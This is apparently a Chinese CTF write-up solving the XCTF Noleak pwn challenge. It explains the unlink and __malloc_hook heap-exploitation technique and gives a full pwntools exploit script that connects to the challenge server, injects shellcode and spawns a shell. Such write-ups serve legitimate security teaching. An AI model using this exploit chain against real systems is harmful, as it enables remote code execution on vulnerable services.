攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
本题主要考察对堆的利用,需要有一定的背景知识,本文也参考了几篇大佬的Writeup,让本文尽可能详细。
题目分析
checksec:
本题的RELRO是完全开启的,意味着我们不能通过修改GOT表来进行攻击
以下是源代码:
main函数
delete函数:
这里可以看到free之后没有把指针置空,可能有UAF或者Dubble Free
edit函数:
在本函数中,没有检测大小就直接写入,明显的堆溢出漏洞
总的来说,本题的漏洞比较明显,不过对于漏洞的利用还是有点复杂
基础知识
chunk结构
本题是64位程序,按64位说明,32位自行转化一下即可。
allocated chunk:指针指向数据部分,chunk大小为分配空间大小加上0x10(pre_size和size都是8bytes)
free chunk:指针指向fd(如果未置空,因此能够修改chunk的结构)
在size中,最后一位为0表示前一个chunk为free,为1表示allocated
__malloc_hook
前面已经说过,本题无法利用修改GOT表进行攻击,因此我们考虑修改__malloc_hook来执行shellcode。只要我们能把__malloc_hook的值修改为shellcode的地址即可实现。
那么, __malloc_hook在什么地方呢?
malloc机制中的unsorted bin、small bins以及large bins中的双向链表中的第一个chunk以及最后一个chunk中的 fd\bk 字段,都指向了一个结构(类型为malloc_state,变量名称为arena)的固定偏移的位置,在本题中,当我们free一个unsorted bin时,它的fd指针会指向libc中main_arena+0x58地址处。而在这个结构之上的固定偏移位置,则是 __malloc_hook 的地址(其值被默认设置为null)
漏洞利用
本题的漏洞利用思路为利用堆溢出修改chunk的结构,通过unlink修改buf数组中指向的位置,利用edit函数然后把shellcode写入bss段,然后再利用edit函数修改__malloc_hook为bss段地址来执行shellcode,详细过程如下
- 调用add函数在堆上创建两个chunk,此时堆结构如下:
. - 使用edit函数修改chunk0的数据区,在其中伪造一个chunk,并通过堆溢出修改chunk 1的pre_size,此时堆机构如下:
这样,当我们delete buf[1]时,由于我们伪造了一个chunk,并且的状态为free,就会把chunk1和伪造的chunk合并,合并会执行unlink操作,具体过程如下:
伪造chunk->fd->bk == 伪造chunk->bk;
伪造chunk->bk->fd == 伪造chunk->fd;
unlink函数
>void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action,"corrupted double-linked list",P);
else
{
FD->bk = BK;
BK->fd = FD;
}
}
但是在执行unlink之前,系统会先检查伪造的chunk是否满足:
伪造chunk->fd->bk == 伪造chunk &&伪造chunk->bk->fd == 伪造chunk
当我们按上面的方法构造chunk时,fd和bk是满足条件的
-
调用delete函数删除buf[1],此时会执行unlink操作,buf[0] = buf[-3] (buf-0x18)
-
调用edit编辑buf[0],payload为p64(0) * 3 + p64(bss) + p64(buf) + p64(0) * 3 + p64(0x20),此时buf[0]指向bss段首部,buf[1]指向buf,并且我们在buf中又伪造了一个chunk,buf结构如下:
-
再次调用add申请两个chunk,此时buf结构如下
堆结构如下:
可以看出buf[2]指向的地址为buf[0]正常malloc时候的地址+0x10,这是因为我们free buf[1]时进行了合并,chunk1和伪造的chunk都合并进入了top chunk -
调用delete删除buf[2],buf[2]指向的chunk会被收入unsorted bin,此时堆结构如下:
-
调用edit修改buf[2],payload为p64(0) + p64(buf + 0x8 * 4),这样的话之前在buf中伪造的chunk也进入了unsorted bin
-
再调用add申请一个和chunk2一样大小的chunk,这样unsorted bin中就只剩下伪造的chunk,所以main arena+0x88的地址就被留在了buf[6]
-
调用edit向buf[1](buf)中写入payload:p64(bss) + p64(buf) + p64(0) * 4 + ‘\x10’,这样就把buf[6]修改为__malloc_hook的地址
这里说一下为什么传’\x10’进去就够了
我们看一下题目给的 libc,找到malloc_trim(),反编译,如下图所示
然后是malloc_trim()的源代码
对比可知,其中的0x3c4b20就是main_arena的地址,而__maloc_hook在libc中的地址为0x3c4b10
libc被加载到文件中是按页加载的,同一页中只有最低3位不同,而main_arena的偏移(main_arena+0x58)和__malloc_hook很近,只有最低两位不同,因此把最后两位换成0x10即可
-
调用edit向buf[0](bss首部)中写入shellcode
-
调用edit向buf[6]中写入shellcode的地址
-
再调用一次add,当执行malloc时就执行了我们的shellcode
Exp
from pwn import *
def add(size, content):
print r.recvuntil("Your choice :")
r.sendline('1')
print r.recvuntil("Size: ")
r.sendline(size)
print r.recvuntil("Data: ")
r.send(content)
def delete(index):
print r.recvuntil("Your choice :")
r.sendline('2')
print r.recvuntil("Index: ")
r.sendline(index)
def edit(index, size, content):
print r.recvuntil("Your choice :")
r.sendline('3')
print r.recvuntil("Index: ")
r.sendline(index)
print r.recvuntil("Size: ")
r.sendline(size)
print r.recvuntil("Data: ")
r.send(content)
r = remote("111.198.29.45", 39021)
context(arch = "amd64", os = 'linux')
elf = ELF("./Noleak/timu")
libc = ELF("./Noleak/libc-2.23.so")
malloc_hook = libc.symbols['__malloc_hook']
bss = 0x601020
buf = 0x601040
# chunk 0
add(str(0x90), 'a\n')
# chunk 1
add(str(0x90), 'b\n')
# fade chunk
# pre_size, size
payload = p64(0) + p64(0x91)
# fd, bk
payload += p64(buf - 0x18) + p64(buf - 0x10)
payload += p64(0) * 14
# change chunk size of 1
payload += p64(0x90) + p64(0xa0)
edit('0', str(len(payload)), payload)
delete('1')
payload = p64(0) * 3 + p64(bss) + p64(buf) + p64(0) * 3 + p64(0x20)
# change buf[0] pointer to bss, buf[1] to buf
edit('0', str(len(payload)), payload)
# chunk 2
add(str(0x100), 'c\n')
# chunk 3
add(str(0x100), 'd\n')
delete('2')
payload = p64(0) + p64(buf + 0x8 * 4)
edit('2', str(len(payload)), payload)
# chunk 4, addr is the same with chunk2
add(str(0x100), 'e\n')
payload = p64(bss) + p64(buf) + p64(0) * 4 + '\x10'
edit('1', str(len(payload)), payload)
shellcode = asm(shellcraft.sh())
edit('0', str(len(shellcode)), shellcode)
# change malloc hook
edit('6', '8', p64(bss))
print r.recvuntil("Your choice :")
r.sendline('1')
print r.recvuntil("Size: ")
r.sendline('1')
r.interactive()
成功得到shell:
上一篇: 堆和栈及其实现方法
推荐阅读
-
【XCTF 攻防世界】WEB 高手进阶区 supersqli(三种方法)
-
stack2 [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列15
-
【XCTF 攻防世界】WEB 高手进阶区 Web_php_include
-
【XCTF 攻防世界】WEB 高手进阶区mfw
-
【XCTF 攻防世界】杂项 misc 高手进阶区 hit-the-core
-
【XCTF 攻防世界】MISC 杂项 高手进阶区 就在其中
-
攻防世界-PWN进阶区-hacknote(pwnable.tw)
-
攻防世界-PWN进阶区-Noleak(XCTF 4th-QCTF-2018)
-
【XCTF 攻防世界】WEB 高手进阶区PHP2
-
【XCTF 攻防世界】MISC 杂项 高手进阶区 Reverse-it